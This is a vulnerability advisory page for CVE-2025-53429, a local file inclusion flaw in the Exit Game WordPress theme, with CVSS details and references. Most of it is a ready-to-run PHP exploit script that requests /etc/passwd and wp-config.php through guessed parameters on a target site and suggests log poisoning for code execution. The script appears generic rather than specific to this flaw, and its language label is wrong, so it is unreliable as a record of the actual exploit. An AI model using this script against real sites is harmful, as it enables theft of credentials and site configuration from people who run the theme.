CVE-2025-53429

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Exit Game exit-game allows PHP Local File Inclusion.This issue affects Exit Game: from n/a through <= 1.4.3.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Exit Game (AncoraThemes) <= 1.4.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-53429 PoC - Exit Game WordPress Theme Local File Inclusion
 * Author: Security Research Team
 * Date: 2025-12-18
 * 
 * Usage: php poc.php <target_url> <file_path>
 * Example: php poc.php http://target.com /etc/passwd
 * Example: php poc.php http://target.com ../../wp-config.php
 */

$targetUrl = $argv[1] ?? '';
$filePath = $argv[2] ?? '/etc/passwd';

if (empty($targetUrl)) {
    echo "Usage: php poc.php <target_url> <file_path>\n";
    echo "Example: php poc.php http://target.com /etc/passwd\n";
    exit(1);
}

// Normalize file path to prevent filtering
$encodedPath = urlencode($filePath);

// Common vulnerable parameters in WordPress themes
$vulnerableParams = [
    'page',
    'file',
    'template',
    'action',
    'load',
    'include'
];

echo "[*] CVE-2025-53429 LFI PoC\n";
echo "[*] Target: {$targetUrl}\n";
echo "[*] File to read: {$filePath}\n\n";

foreach ($vulnerableParams as $param) {
    $url = $targetUrl . "?{$param}=" . $encodedPath;
    
    echo "[*] Testing parameter: {$param}\n";
    echo "[*] Request URL: {$url}\n";
    
    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'timeout' => 10,
            'ignore_errors' => true
        ]
    ]);
    
    $response = @file_get_contents($url, false, $context);
    
    if ($response !== false && !empty($response)) {
        echo "[+] Vulnerable! File content:\n";
        echo str_repeat("-", 60) . "\n";
        echo substr($response, 0, 500);
        if (strlen($response) > 500) {
            echo "\n... (truncated)\n";
        }
        echo str_repeat("-", 60) . "\n";
    } else {
        echo "[-] Not vulnerable or file not accessible via this parameter\n";
    }
    echo "\n";
}

echo "[*] PoC execution completed.\n";
echo "[*] Recommended files to check:\n";
echo "    - /etc/passwd (system users)\n";
echo "    - ../../wp-config.php (WordPress configuration)\n";
echo "    - ../../wp-load.php (WordPress core)\n";
echo "    - /var/log/apache2/access.log (for RCE via log poisoning)\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53429
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53429
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53429/
[4] VulDB https://vuldb.com/cve/CVE-2025-53429
[5] https://patchstack.com/database/Wordpress/Theme/exit-game/vulnerability/wordpress-exit-game-theme-1-4-3-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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